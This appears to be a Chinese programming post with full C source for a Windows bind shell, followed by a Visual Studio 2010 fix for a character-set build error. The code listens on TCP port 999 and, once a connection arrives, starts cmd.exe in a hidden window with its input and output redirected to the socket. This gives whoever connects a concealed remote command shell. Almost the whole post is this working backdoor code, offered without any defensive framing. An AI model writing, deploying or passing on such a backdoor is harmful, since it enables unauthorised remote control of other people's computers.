VS2010:
#include <winsock2.h> #include <stdio.h> #define MasterPort 999 //定义监听端口999 #pragma comment(lib, "ws2_32.lib") int main() { WSADATA WSADa; struct sockaddr_in SockAddrIn; SOCKET CSocket,SSocket; int iAddrSize; PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo; char szCMDPath[255]; //分配内存资源,初始化数据: ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION)); ZeroMemory(&StartupInfo, sizeof(STARTUPINFO)); ZeroMemory(&WSADa, sizeof(WSADATA)); //获取cmd路径 GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath)); //加载ws2_32.dll: WSAStartup(0x0202,&WSADa); //设置本地信息和绑定协议,建立socket,代码如下: SockAddrIn.sin_family = AF_INET; SockAddrIn.sin_addr.s_addr = INADDR_ANY; SockAddrIn.sin_port = htons(MasterPort); CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); //设置绑定端口999: bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn)); //设置服务器端监听端口: listen(CSocket,1); iAddrSize = sizeof(SockAddrIn); //开始连接远程服务器,并配置隐藏窗口结构体: SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize); StartupInfo.cb = sizeof(STARTUPINFO); StartupInfo.wShowWindow = SW_HIDE; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; StartupInfo.hStdInput = (HANDLE)SSocket; StartupInfo.hStdOutput = (HANDLE)SSocket; StartupInfo.hStdError = (HANDLE)SSocket; //创建匿名管道: CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo); WaitForSingleObject(ProcessInfo.hProcess, INFINITE); CloseHandle(ProcessInfo.hProcess); CloseHandle(ProcessInfo.hThread); //关闭进程句柄: closesocket(CSocket); closesocket(SSocket); WSACleanup(); //关闭连接卸载ws2_32.dll return 0; }
解决办法:
选中项目,然后点击属性——>配置属性——>常规——>项目默认值——>字符集,选为“使用多字节字符集"